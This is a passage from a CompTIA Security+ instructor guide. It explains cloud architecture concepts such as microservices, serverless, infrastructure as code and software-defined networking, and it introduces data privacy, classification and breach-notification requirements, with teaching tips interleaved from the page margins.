7. What is a cloud access security broker (CASB)?

Enterprise management software mediating access to cloud services by users to

enforce information and access policies and audit usage.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 429

Topic 15C
Summarize Infrastructure
as Code Concepts

EXAM OBJECTIVES COVERED Teaching

2.2 Summarize virtualization and cloud computing concepts Tip
This topic completes
the block on
development/cloud
Coupled with the use of virtualization and the cloud is the idea of continuous delivery
by looking at some of
models for automation and service integration. These technologies can be used the more advanced
together to deliver an infrastructure as code model of provisioning networks and hosts technologies and
to support application services. applications of
DevSecOps principles.

Services Integration and Microservices Show Slide(s)

In the early days of computer networks, architecture was focused on the provision
Services Integration
of server machines and intermediate network systems (switches and routers). and Microservices
Architectural choices centered around where to place a "box" to run monolithic
network applications such as routing, security, address allocation, name resolution, Teaching
file sharing, email, and so on. With virtualization, the provision of these applications Tip
is much less dependent on where you put the box and the OS that the box runs. Contrast the legacy
Virtualization helps to make the design architecture fit to the business requirement IT focus on deploying
rather than accommodate the business workflow to the platform requirement. boxes with the
modern paradigm of
Service-Oriented Architecture (SOA) abstracted, virtualized
compute, storage,
Service-oriented architecture (SOA) conceives of atomic services closely mapped and network capacity
that can be spun up,
to business workflows. Each service takes defined inputs and produces defined
perform a workload,
outputs. The service may itself be composed of sub-services. The key features of and then released for
a service function are that it is self-contained, does not rely on the state of other the next task.
services, and exposes clear input/output (I/O) interfaces. Because each service has a
simple interface, interoperability is made much easier than with a complex monolithic
application. The implementation of a service does not constrain compatibility choices
for client services, which can use a different platform or development language. This
independence of the service and the client requesting the service is referred to as
loose coupling.

Microservices
Microservice-based development shares many similarities with Agile software project
management and the processes of continuous delivery and deployment. It also shares
roots with the Unix philosophy that each program or tool should do one thing well.
The main difference between SOA and microservices is that SOA allows a service to be
built from other services. By contrast, each microservice should be capable of being
developed, tested, and deployed independently. The microservices are said to be highly
decoupled rather than just loosely decoupled.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 430 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Services Integration and Orchestration

Services integration refers to ways of making these decoupled service or microservice
components work together to perform a workflow. Where SOA used the concept of
a enterprise service bus, microservices integration and cloud services/virtualization/
automation integration generally is very often implemented using orchestration
tools. Where automation focuses on making a single, discrete task easily repeatable,
orchestration performs a sequence of automated tasks. For example, you might
orchestrate adding a new VM to a load-balanced cluster. This end-to-end process might
include provisioning the VM, configuring it, adding the new VM to the load-balanced
cluster, and reconfiguring the load-balancing weight distribution given the new cluster
configuration. In doing this, the orchestrated steps would have to run numerous
automated scripts or API service calls.
For orchestration to work properly, automated steps must occur in the right sequence,
taking dependencies into account; it must provide the right security credentials at
every step along the way; and it must have the rights and permissions to perform
the defined tasks. Orchestration can automate processes that are complex, requiring
dozens or hundreds of manual steps.
Cloud orchestration platforms connect to and provide administration, management,
and orchestration for many popular cloud platforms and services. One of the
advantages of using a third-party orchestration platform is protection from vendor
lock in. If you wish to migrate from one cloud provider to another, or wish to move to a
multi-cloud environment, automated workflows can often be adapted for use on new
platforms. Industry leaders in this space include Chef (chef.io), Puppet (puppet.com),
Ansible (ansible.com), and Kubernetes (kubernetes.io).

Show Slide(s) Application Programming Interfaces

Application
Whether based SOA or microservices, service integration, automation, and
Programming orchestration all depend on application programming interfaces (APIs). The service API
Interfaces is the means by which external entities interact with the service, calling it with expected
parameters and receiving the expected output. There are two predominant "styles" for
creating web application APIs:
• Simple Object Access Protocol (SOAP)—uses XML format messaging and has a
number of extensions in the form of Web Services (WS) standards that support
common features, such as authentication, transport security, and asynchronous
messaging. SOAP also has a built-in error handling.

• Representational State Transfer (REST)—where SOAP is a tightly specified protocol,

REST is a looser architectural framework, also referred to as RESTful APIs. Where a
SOAP request must be sent as a correctly formatted XML document, a REST request
can be submitted as an HTTP operation/verb (GET or POST for example). Each
resource or endpoint in the API, expressed as a noun, should be accessed via a
single URL.

Show Slide(s) Serverless Architecture

Serverless Architecture
Serverless is a modern design pattern for service delivery. It is strongly associated
with modern web applications—most notably Netflix (aws.amazon.com/solutions/
case-studies/netflix-and-aws-lambda)—but providers are appearing with products
to completely replace the concept of the corporate LAN. With serverless, all the
architecture is hosted within a cloud, but unlike "traditional" virtual private cloud (VPC)
offerings, services such as authentication, web applications, and communications
aren't developed and managed as applications running on VM instances located within
the cloud. Instead, the applications are developed as functions and microservices, each

Lesson 15: Implementing Secure Cloud Solutions | Topic 15C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 431

interacting with other functions to facilitate client requests. When the client requires
some operation to be processed, the cloud spins up a container to run the code,
performs the processing, and then destroys the container. Billing is based on execution
time, rather than hourly charges. This type of service provision is also called function
as a service (FaaS). FaaS products include AWS Lambda (aws.amazon.com/lambda),
Google Cloud Functions (cloud.google.com/functions), and Microsoft Azure Functions
(azure.microsoft.com/services/functions).
The serverless paradigm eliminates the need to manage physical or virtual server
instances, so there is no management effort for software and patches, administration
privileges, or file system security monitoring. There is no requirement to provision
multiple servers for redundancy or load balancing. As all of the processing is taking
place within the cloud, there is little emphasis on the provision of a corporate network.
This underlying architecture is managed by the service provider. The principal
network security job is to ensure that the clients accessing the services have not been
compromised in a way that allows a malicious actor to impersonate a legitimate user.
This is a particularly important consideration for the developer accounts and devices
used to update the application code underpinning the services. These workstations
must be fully locked down, running no other applications or web code than those
necessary for development.
Serverless does have considerable risks. As a new paradigm, use cases and best
practices are not mature, especially as regards security. There is also a critical and
unavoidable dependency on the service provider, with limited options for disaster
recovery should that service provision fail.
Serverless architecture depends heavily on the concept of event-driven orchestration
to facilitate operations. For example, when a client connects to an application, multiple
services will be called to authenticate the user and device, identify the device location
and address properties, create a session, load authorizations for the action, use
application logic to process the action, read or commit information from a database,
and write a log of the transaction. This design logic is different from applications
written to run in a "monolithic" server-based environment. This means that adapting
existing corporate software will require substantial development effort.

Infrastructure as Code Show Slide(s)

The use of cloud technologies encourages the use of scripted approaches to Infrastructure as Code
provisioning, rather than manually making configuration changes, or installing patches.
An approach to infrastructure management where automation and orchestration fully
replace manual configuration is referred to as infrastructure as code (IaC).
One of the goals of IaC is to eliminate snowflake systems. A snowflake is a
configuration or build that is different from any other. The lack of consistency—or
drift—in the platform environment leads to security issues, such as patches that
have not been installed, and stability issues, such as scripts that fail to run because of Show Slide(s)
some small configuration difference. By rejecting manual configuration of any kind,
IaC ensures idempotence. Idempotence means that making the same call with the Software-Defined
same parameters will always produce the same result. Note that IaC is not simply a Networking
matter of using scripts to create instances. Running scripts that have been written ad
hoc is just as likely to cause environment drift as manual configuration. IaC means Teaching
using carefully developed and tested scripts and orchestration runbooks to generate Tip
consistent builds. You can refer students
to Cisco's website for
more information
Software-Defined Networking about SDN (cisco.
com/c/en/us/
IaC is partly facilitated by physical and virtual network appliances that are fully solutions/software-
configurable via scripting and APIs. As networks become more complex—perhaps defined-networking/
involving thousands of physical and virtual computers and appliances—it becomes overview.html).

Lesson 15: Implementing Secure Cloud Solutions | Topic 15C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 432 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

more difficult to implement network policies, such as ensuring security and managing
traffic flow. With so many devices to configure, it is better to take a step back and
consider an abstracted model about how the network functions. In this model, network
functions can be divided into three "planes":
• Control plane—makes decisions about how traffic should be prioritized and
secured, and where it should be switched.

• Data plane—handles the actual switching and routing of traffic and imposition of
security access controls.

• Management plane—monitors traffic conditions and network status.

A software-defined networking (SDN) application can be used to define policy

decisions on the control plane. These decisions are then implemented on the
data plane by a network controller application, which interfaces with the network
devices using APIs. The interface between the SDN applications and the SDN
controller is described as the "northbound" API, while that between the controller
and appliances is the "southbound" API. SDN can be used to manage compatible
physical appliances, but also virtual switches, routers, and firewalls. The architecture
supporting rapid deployment of virtual networking using general-purpose VMs
and containers is called network functions virtualization (NFV) (redhat.com/en/
topics/virtualization/what-is-nfv).
This architecture saves network and security administrators the job and complexity of
configuring each appliance with proper settings to enforce the desired policy. It also
allows for fully automated deployment (or provisioning) of network links, appliances,
and servers. This makes SDN an important part of the latest automation and
orchestration technologies.

Show Slide(s) Software-Defined Visibility

Software-Defined
Where SDN addresses secure network "build" solutions, software-defined visibility
Visibility (SDV) supports assessment and incident response functions. Visibility is the near real-
time collection, aggregation, and reporting of data about network traffic flows and the
configuration and status of all the hosts, applications, and user accounts participating
in it.
SDV can help the security data collection process by gathering statistics from the
forwarding systems and then applying a classification scheme to those systems to
detect network traffic that deviates from baseline levels (gigamon.com/content/dam/
resource-library/english/white-paper/wp-software-defined-visibility-new-paradigm-
for-it.pdf). This can provide you with a more robust ability to detect anomalies—
anomalies that may suggest an incident. SDV therefore gives you a high-level
perspective of network flow and endpoint/user account behavior that may not be
possible with traditional appliances. SDV supports designs such as zero trust and
east/west (paloaltonetworks.com/cyberpedia/what-is-a-zero-trust-architecture), plus
implementation of security orchestration and automated response (SOAR).

Show Slide(s) Fog and Edge Computing

Fog and Edge
Most of the cloud services we have considered so far are "user-facing." They support
Computing applications that human users interact with, such as video streaming, CRM, business
analytics, email and conferencing, endpoint protection analytics, and so on. However,
a very large and increasing amount of cloud data processing takes place with data
generated by Internet of Things (IoT) devices and sensors. Industrial processes and
even home automation are availability-focused. While confidentiality and integrity are
still important concerns, service interruption in an operational technology network can

Lesson 15: Implementing Secure Cloud Solutions | Topic 15C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 433

be physically dangerous. Consequently, there is a strong requirement to retrieve and

analzye IoT data with low latency.
A traditional data center architecture does not meet this requirement very well.
Sensors are quite likely to have relatively low-bandwidth, higher latency WAN links to
data networks. Sensors may generate huge quantities of data only a selection of which
needs to be prioritized for analysis. Fog computing, developed by Cisco (cisco.com/c/
dam/en_us/solutions/trends/iot/docs/computing-overview.pdf), addresses these
requirements by placing fog node processing resources close to the physical location
for the IoT sensors. The sensors communicate with the fog node, using Wi-Fi, ZigBee,
or 4G/5G, and the fog node prioritizes traffic, analyzes and remediates alertable
conditions, and backhauls remaining data to the data center for storage and low-
priority analysis.
Edge computing is a broader concept partially developed from fog computing and
partially evolved in parallel to it. Fog computing is now seen as working within the
concept of edge computing. Edge computing uses the following concepts:
• Edge devices are those that collect and depend upon data for their operation.
For example, a thermometer in an HVAC system collects temperature data; the
controller in an HVAC system activates the electromechanical components to
turn the heating or air conditioning on or off in response to ambient temperature
changes. The impact of latency becomes apparent when you consider edge devices
such as self-driving automobiles.

• Edge gateways perform some pre-processing of data to and from edge devices
to enable prioritization. They also perform the wired or wireless connectivity to
transfer data to and from the storage and processing networks.

• Fog nodes can be incorporated as a data processing layer positioned close to the
edge gateways, assisting the prioritization of critical data transmission.

• The cloud or data center layer provides the main storage and processing resources,
plus distribution and aggregation of data between sites.

In security terms, the fog node or edge gateway layers represent high-value targets for
both denial of service and data exfiltration attacks.

The controversy over the use of Huawei's equipment within 5G and edge networks illustrates
the risks and concerns over supply chains and trusted computing (threatpost.com/huawei-
5g-security-implications/152926).

Lesson 15: Implementing Secure Cloud Solutions | Topic 15C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 434 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Infrastructure as Code
Answer the following questions:

1. A company has been using a custom-developed client-server application

for customer management, accessed from remote sites over a VPN. Rapid
overseas growth has led to numerous complaints from employees that the
system suffers many outages and cannot cope with the increased number
of users and access by client devices such as smartphones. What type of
architecture could produce a solution that is more scalable?

Microservices is a suitable architecture for replacing monolithic client-server

applications that do not meet the needs of geographically diverse, mobile workforces.
By breaking the application up into microservice components and hosting these in
cloud containers, performance can scale to demand. Web-based APIs are better suited
to browser-based access on different device types.

2. You have been asked to produce a summary of pros and cons for the
products Chef and Puppet. What type of virtualization or cloud computing
technology do these support?

These are orchestration tools. Orchestration facilitates "automation of automation,"

ensuring that scripts and API calls are made in the right order and at the right time to
support an overall workflow.

3. True or false? Serverless means running computer code on embedded

systems.

False. With serverless, the provision of functions running in containers is abstracted

from the underlying server hardware. The point is that as a consumer, you do not
perform any server management. The servers are still present, but they are operated
and maintained by the cloud service provider.

4. A company's web services are suffering performance issues because

updates keep failing to run on certain systems. What type of architecture
could address this issue?

Infrastructure as Code (IaC) means that provisioning is performed entirely from

standard scripts and configuration data. The absence of manual configuration
adjustments or ad hoc scripts to change settings is designed to eliminate configuration
drift so that updates run consistently between the development and production
environments.

5. What is SDV?

Software-defined visibility (SDV) gives API-based access to network infrastructure

and hosts so that configuration and state data can be reported in near real time. This
facilitates greater automation in models and technologies such as zero trust, inspection
of east/west data center traffic, and use of security orchestration and automated
response (SOAR) tools.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 435

Lesson 15
Summary
You should be able to summarize virtualization and cloud computing concepts and Teaching
implement cloud security controls for compute, storage, and network functions. Tip
Check that students
Guidelines for Implementing Secure Cloud Solutions are confident about
the content that has
been covered. If there
Follow these guidelines for deploying or extending use of cloud and virtualization
is time, revisit any
infrastructure: content examples that
• Assess requirements for availability and confidentiality that will determine the they have questions
about. If you have
appropriate cloud deployment model (public, hosted private, private, community, used all the available
or hybrid). time for this lesson
block, note the issues,
• Identify a service provisioning model (software, platform, or infrastructure) that best
and schedule time for
fits the application requirement, given available development resources and the a review later in the
degree of customization required. course.
• Consider whether the service or business need could be better supported by
advanced concepts:

• Microservices, serverless, and orchestration to focus on workflow requirements

rather than server administration.
• IaC, SDN, and SDV for automated platform provisioning.
• Edge/fog computing to ensure availability and low latency in embedded systems
and IoT networks.

• If using a CSP, create an SLA and security responsibility matrix to identify who
will perform security-critical tasks. Ensure that reporting and monitoring of cloud
security data is integrated with on-premises monitoring and incident response.
• If using on-premises virtualization or a private data center, ensure robust
procedures for developing and deploying virtual machines and protecting
hypervisor security.
• Configure native or third-party security controls to protect cloud services:

• For compute resources, ensure isolation of workloads and dynamic resource

allocation.
• For storage resources, provision high availability through local or zone-based
replication.
• For network resources, isolate instances to appropriate security zones through
virtual networks and provision native or vendor firewalls and security to perform
request filtering and authorization.
• Provision secure accounts for developer access, protected by MFA, and ensure
effective management of API and SSH keys and other secrets.

Lesson 15: Implementing Secure Cloud Solutions

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 16
Explaining Data Privacy and
Protection Concepts

LESSON INTRODUCTION Teaching

Tip
If people are an organization's most important asset, then data comes a close second. Data breaches and
The rapid adoption of cybersecurity awareness and technologies has come about privacy compliance
because of the huge reputational and financial costs of high-profile data and privacy issues provide
breaches. It is usually data that the threat actors want, and data that the whole system powerful business
needs to improve
is set up to protect.
cybersecurity. This
The confidentiality, integrity, and availability security attributes of data processing lesson completes
and storage are ensured through a mixture of managerial, operational, and technical the "protect" theme
by collecting the
controls. Along with security, you should also be able to assess privacy factors when
objectives and content
collecting and storing data, and identify how processes must be shaped by legislative examples related to
and regulatory compliance. data confidentiality
and privacy.

Lesson Objectives
In this lesson, you will:
• Explain privacy and data sensitivity concepts.

• Explain privacy and data protection controls.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 438 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 16A
Explain Privacy and Data
Sensitivity Concepts

Teaching EXAM OBJECTIVES COVERED

Tip 2.1 Explain the importance of security concepts in an enterprise environment
5.3 Explain the importance of policies to organizational security
This lesson focuses
on objective 5.5, but
5.5 Explain privacy and sensitive data concepts in relation to security
does include some
data content examples A detailed understanding of privacy and data sensitivity concepts will help you
from 2.1 and 5.3 as to operate within an overall data governance team. Data security and privacy
well.
are areas where policy and procedure are as important as technical controls in
This topic focuses ensuring compliance. These policies and procedures may also need to be expressed
on organizational
procedures and in agreements with external partners, suppliers, and customers. As a security
institutional roles, with professional, you will need to select and apply these policies, procedures, and
technical controls left agreements wisely.
to the next topic.
Show Slide(s) Privacy and Sensitive Data Concepts
Privacy and Sensitive
The value of information assets can be thought of in terms of how a compromise of
Data Concepts the data's security attributes of the confidentiality, integrity, and availability (CIA) triad
would impact the organization. When surveying information within an organization, it
Teaching is important not to solely judge how secretly it might need to be kept, but how the data
Tip is used within workflows. For example, the risk to confidentiality of public information
Do not overlook is nonexistent. The risk to availability, however, could have significant impacts
the importance of on workflows.
availability.
Make sure students
Data must be kept securely within a processing and storage system that enforces
can distinguish CIA attributes. In practice, this will mean a file or database management system
security requirements that provides read or read/write access to authorized and authenticated accounts
from privacy or denies access otherwise (by being encrypted, for instance). As distinct from this
requirements. security requirement, you also need to consider the impact of privacy in shaping
data governance.

Privacy versus Security

While data security is important, privacy is an equally vital factor. Privacy is a data
governance requirement that arises when collecting and processing personal data.
Personal data is any information about an identifiable individual person, referred
to as the data subject. Where data security controls focus on the CIA attributes of
the processing system, privacy requires policies to identify private data, ensure that
storage, processing, and retention is compliant with relevant regulations, limit access
to the private data to authorized persons only, and ensure the rights of data subjects to
review and remove any information held about them are met.

Information Life Cycle Management

An information life cycle model identifies discrete steps to assist security and privacy
policy design. Most models identify the following general stages:

Lesson 16: Explaining Data Privacy and Protection Concepts | Topic 16A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 439

• Creation/collection—data may be generated by an employee or automated system,

or it may be submitted by a customer or supplier. At this stage, the data needs to be
classified and tagged.

• Distribution/use—data is made available on a need to know basis for authorized

uses by authenticated account holders and third parties.

• Retention—data might have to be kept in an archive past the date when it is still
used for regulatory reasons.

• Disposal—when it no longer needs to be used or retained, media storing data assets

must be sanitized to remove any remnants.

Information management is a massive task in any organization. Most schemes focus on

structured data (that is, information that is stored in a directory hierarchy and subject
to administrative access controls). Managing and classifying unstructured data (emails,
chat sessions, telephone calls, and so on) is an even more daunting task, though software
solutions designed to tackle this problem are available.

Data Roles and Responsibilities Show Slide(s)

A data governance policy describes the security controls that will be applied to protect Data Roles and
data at each stage of its life cycle. There are important institutional governance roles Responsibilities
for oversight and management of information assets within the life cycle:
• Data owner—a senior (executive) role with ultimate responsibility for maintaining
the confidentiality, integrity, and availability of the information asset. The owner is
responsible for labeling the asset (such as determining who should have access and
determining the asset's criticality and sensitivity) and ensuring that it is protected
with appropriate controls (access control, backup, retention, and so forth). The
owner also typically selects a steward and custodian and directs their actions and
sets the budget and resource allocation for sufficient controls.

• Data steward—this role is primarily responsible for data quality. This involves tasks
such as ensuring data is labeled and identified with appropriate metadata and that
data is collected and stored in a format and with values that comply with applicable
laws and regulations.

• Data custodian—this role handles managing the system on which the data assets
are stored. This includes responsibility for enforcing access control, encryption, and
backup/recovery measures.

• Data Privacy Officer (DPO)—this role is responsible for oversight of any personally
identifiable information (PII) assets managed by the company. The privacy officer
ensures that the processing, disclosure, and retention of PII complies with legal and
regulatory frameworks.

In the context of legislation and regulations protecting personal privacy, the following
two institutional roles are important:
• Data controller—the entity responsible for determining why and how data is
stored, collected, and used and for ensuring that these purposes and means are
lawful. The data controller has ultimate responsibility for privacy breaches, and is
not permitted to transfer that responsibility.

• Data processor—an entity engaged by the data controller to assist with technical
collection, storage, or analysis tasks. A data processor follows the instructions of a
data controller with regard to collection or processing.

Lesson 16: Explaining Data Privacy and Protection Concepts | Topic 16A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 440 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Data controller and processor tend to be organizational roles rather than individual
ones. For example, if Widget.foo collects personal data to operate a webstore on its
own cloud, it is a data collector and data processor. If Widget.foo passes aggregate
data to Grommet.foo asking them to run profitability analytics for different customer
segments on its AI-backed cloud, Grommet.foo is a data processor acting under the
instruction of Widget.foo. Within the Grommet.foo and Widget.foo companies, the data
owner might take personal responsibility for the lawful performance of data controller
and processor functions.

Show Slide(s) Data Classifications

Data Classifications
Data classification and typing schemas tag data assets so that they can be managed
through the information life cycle. A data classification schema is a decision tree
Teaching for applying one or more tags or labels to each data asset. Many data classification
Tip schemas are based on the degree of confidentiality required:
Discuss the • Public (unclassified)—there are no restrictions on viewing the data. Public
difficulty of applying information presents no risk to an organization if it is disclosed but does present a
classifications in a risk if it is modified or not available.
consistent way. It is
best not to create too • Confidential (secret)—the information is highly sensitive, for viewing only by
many categories.
approved persons within the owner organization, and possibly by trusted third
parties under NDA.

• Critical (top secret)—the information is too valuable to allow any risk of its capture.
Viewing is severely restricted.

Using Microsoft Azure Information Protection to define an automatic document labeling and
watermarking policy. (Screenshot used with permission from Microsoft.)

Another type of classification schema identifies the kind of information asset:

• Proprietary—Proprietary information or intellectual property (IP) is information
created and owned by the company, typically about the products or services that

Lesson 16: Explaining Data Privacy and Protection Concepts | Topic 16A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 441

they make or perform. IP is an obvious target for a company's competitors, and IP

in some industries (such as defense or energy) is of interest to foreign governments.
IP may also represent a counterfeiting opportunity (movies, music, and books,
for instance).

• Private/personal data—Information that relates to an individual identity.

• Sensitive—This label is usually used in the context of personal data. Privacy-

sensitive information about a person could harm them if made public and could
prejudice decisions made about them if referred to by internal procedures. As
defined by the EU's General Data Protection Regulations (GDPR), sensitive personal
data includes religious beliefs, political opinions, trade union membership, gender,
sexual orientation, racial or ethnic origin, genetic data, and health information
(ec.europa.eu/info/law/law-topic/data-protection/reform/rules-business-and-
organisations/legal-grounds-processing-data/sensitive-data/what-personal-data-
considered-sensitive_en).

Data Types Show Slide(s)

A type schema applies a more detailed label to data than simple classification. Data Types

Personally Identifiable Information (PII) Teaching

Tip
Personally identifiable information (PII) is data that can be used to identify, contact,
You should not need
or locate an individual. A Social Security Number (SSN) is a good example of PII.
to spend too long on
Others include name, date of birth, email address, telephone number, street address, this—just make sure
biometric data, and so on. Some bits of information, such as a SSN, may be unique; students are aware of
others uniquely identify an individual in combination (for example, full name with birth these categories.
date and street address).
Some types of information may be PII depending on the context. For example, when
someone browses the web using a static IP address, the IP address is PII. An address
that is dynamically assigned by the ISP may not be considered PII. PII is often used for
password reset mechanisms and to confirm identity over the telephone. For example,
PII may be defined as responses to challenge questions, such as "What is your favorite
color/pet/movie?" These are the sort of complexities that must be considered when
laws are introduced to control the collection and storage of personal data.

Customer Data
Customer data can be institutional information, but also personal information about
the customer's employees, such as sales and technical support contacts. This personal
customer data should be treated as PII. Institutional information might be shared
under a nondisclosure agreement (NDA), placing contractual obligations on storing and
processing it securely.

Health Information
Personal health information (PHI)—or protected health information—refers to
medical and insurance records, plus associated hospital and laboratory test results.
PHI may be associated with a specific person or used as an anonymized or deidentified
data set for analysis and research. An anonymized data set is one where the identifying
data is removed completely. A deidentified set contains codes that allow the subject
information to be reconstructed by the data provider.
PHI trades at high values on the black market, making it an attractive target. Criminals
seek to exploit the data for insurance fraud or possibly to blackmail victims. PHI data is
extremely sensitive and its loss has a permanent effect. Unlike a credit card number or

Lesson 16: Explaining Data Privacy and Protection Concepts | Topic 16A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 442 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

bank account number, it cannot be changed. Consequently, the reputational damage

that would be caused by a PHI data breach is huge.

Financial Information
Financial information refers to data held about bank and investment accounts, plus
information such as payroll and tax returns. Payment card information comprises
the card number, expiry date, and the three-digit card verification value (CVV). Cards
are also associated with a PIN, but this should never be transmitted to or handled by
the merchant. Abuse of the card may also require the holder's name and the address
the card is registered to. The Payment Card Industry Data Security Standard (PCI DSS)
defines the safe handling and storage of this information (pcisecuritystandards.org/
pci_security).

Government Data
Internally, government agencies have complex data collection and processing
requirements. In the US, federal laws place certain requirements on institutions that
collect and process data about citizens and taxpayers. This data may be shared with
companies for analysis under strict agreements to preserve security and privacy.

Show Slide(s) Privacy Notices and Data Retention

Privacy Notices and
Data owners should be aware of any legal or regulatory issues that impact collection
Data Retention and processing of personal data. The right to privacy, as enacted by regulations such
as the EU's General Data Protection Regulation (GDPR), means that personal data
cannot be collected, processed, or retained without the individual's informed consent.
GDPR (ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-
data-protection-regulation-gdpr) gives data subjects rights to withdraw consent, and to
inspect, amend, or erase data held about them.

Privacy Notices
Informed consent means that the data must be collected and processed only for
the stated purpose, and that purpose must be clearly described to the user in plain
language, not legalese. This consent statement is referred to as a privacy notice. Data
collected under that consent statement cannot then be used for any other purpose.
For example, if you collect an email address for use as an account ID, you may not send
marketing messages to that email address without obtaining separate consent for that
discrete purpose. Purpose limitation will also restrict your ability to transfer data to
third parties.

Impact Assessments
Tracking consent statements and keeping data usage in compliance with the consent
granted is a significant management task. In organizations that process large amounts
of personal data, technical tools that perform tagging and cross-referencing of
personal data records will be required. A data protection impact assessment is a
process designed to identify the risks of collecting and processing personal data in the
context of a business workflow or project and to identify mechanisms that mitigate
those risks.

Data Retention
Data retention refers to backing up and archiving information assets in order to comply
with business policies and/or applicable laws and regulations. To meet compliance
and e-discovery requirements, organizations may be legally bound to retain certain
types of data for a specified period. This type of requirement will particularly affect
financial data and security log data. Conversely, storage limitation principles in privacy

Lesson 16: Explaining Data Privacy and Protection Concepts | Topic 16A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 443

legislation may prevent you from retaining personal data for longer than is necessary.
This can complicate the inclusion of PII in backups and archives.

Data Sovereignty and Geographical Considerations Show Slide(s)

Some states and nations may respect data privacy more or less than others; and Data Sovereignty
likewise, some nations may disapprove of the nature and content of certain data. They and Geographical
may even be suspicious of security measures such as encryption. When your data is Considerations
stored or transmitted in other jurisdictions, or when you collect data from citizens in
other states or other countries, you may not "own" the data in the same way as you'd
expect or like to.

Data Sovereignty
Data sovereignty refers to a jurisdiction preventing or restricting processing and
storage from taking place on systems do not physically reside within that jurisdiction.
Data sovereignty may demand certain concessions on your part, such as using location-
specific storage facilities in a cloud service.
For example, GDPR protections are extended to any EU citizen while they are within
EU or EEA (European Economic Area) borders. Data subjects can consent to allow a
transfer but there must be a meaningful option for them to refuse consent. If the
transfer destination jurisdiction does not provide adequate privacy regulations (to
a level comparable to GDPR), then contractual safeguards must be given to extend
GDPR rights to the data subject. In the US, companies can self-certify that the
protections they offer are adequate under the Privacy Shield scheme (privacyshield.
gov/US-Businesses).

Geographical Considerations
Geographic access requirements fall into two different scenarios:
• Storage locations might have to be carefully selected to mitigate data sovereignty
issues. Most cloud providers allow choice of data centers for processing and
storage, ensuring that information is not illegally transferred from a particular
privacy jurisdiction without consent.

• Employees needing access from multiple geographic locations. Cloud-based file and
database services can apply constraint-based access controls to validate the user's
geographic location before authorizing access.

Privacy Breaches and Data Breaches Show Slide(s)

A data breach occurs when information is read or modified without authorization. Privacy Breaches and
"Read" in this sense can mean either seen by a person or transferred to a network or Data Breaches
storage media. A data breach is the loss of any type of data, while a privacy breach
refers specifically to loss or disclosure of personal and sensitive data. Teaching
Tip
Organizational Consequences Note that the
definition of a breach
A data or privacy breach can have severe organizational consequences: can be quite narrow.
It is important to
• Reputation damage—data breaches cause widespread negative publicity, and review legislation
customers are less likely to trust a company that cannot secure its information and determine
assets. precise compliance
requirements.
• Identity theft—if the breached data is exploited to perform identity theft, the data
subject may be able to sue for damages.

Lesson 16: Explaining Data Privacy and Protection Concepts | Topic 16A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 444 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

• Fines—legislation might empower a regulator to levy fines. These can be fixed sum
or in the most serious cases a percentage of turnover.

• IP theft—loss of company data can lead to loss of revenue. This typically occurs
when copyright material—unreleased movies and music tracks—is breached. The
loss of patents, designs, trade secrets, and so on to competitors or state actors can
also cause commercial losses, especially in overseas markets where IP theft may be
difficult to remedy through legal action.

Notifications of Breaches
The requirements for different types of breach are set out in law and/or in regulations.
The requirements indicate who must be notified. A data breach can mean the loss or
theft of information, the accidental disclosure of information, or the loss or damage of
information. Note that there are substantial risks from accidental breaches if effective
procedures are not in place. If a database administrator can run a query that shows
unredacted credit card numbers, that is a data breach, regardless of whether the query
ever leaves the database server.

Escalation
A breach may be detected by technical staff and if the event is considered minor, there
may be a temptation to remediate the system and take no further notification action.
This could place the company in legal jeopardy. Any breach of personal data and most
breaches of IP should be escalated to senior decision-makers and any impacts from
legislation and regulation properly considered.

Public Notification and Disclosure

Other than the regulator, notification might need to be made to law enforcement,
individuals and third-party companies affected by the breach, and publicly through
press or social media channels. For example, the Health Insurance Portability and
Accountability Act (HIPAA) sets out reporting requirements in legislation, requiring
breach notification to the affected individuals, the Secretary of the US Department
of Health and Human Services, and, if more than 500 individuals are affected, to
the media (hhs.gov/hipaa/for-professionals/breach-notification/index.html). The
requirements also set out timescales for when these parties should be notified. For
example, under GDPR, notification must be made within 72 hours of becoming aware
of a breach of personal data (csoonline.com/article/3383244/how-to-report-a-data-
breach-under-gdpr.html). Regulations will also set out disclosing requirements, or the
information that must be provided to each of the affected parties. Disclosure is likely to
include a description of what information was breached, details for the main point-of-
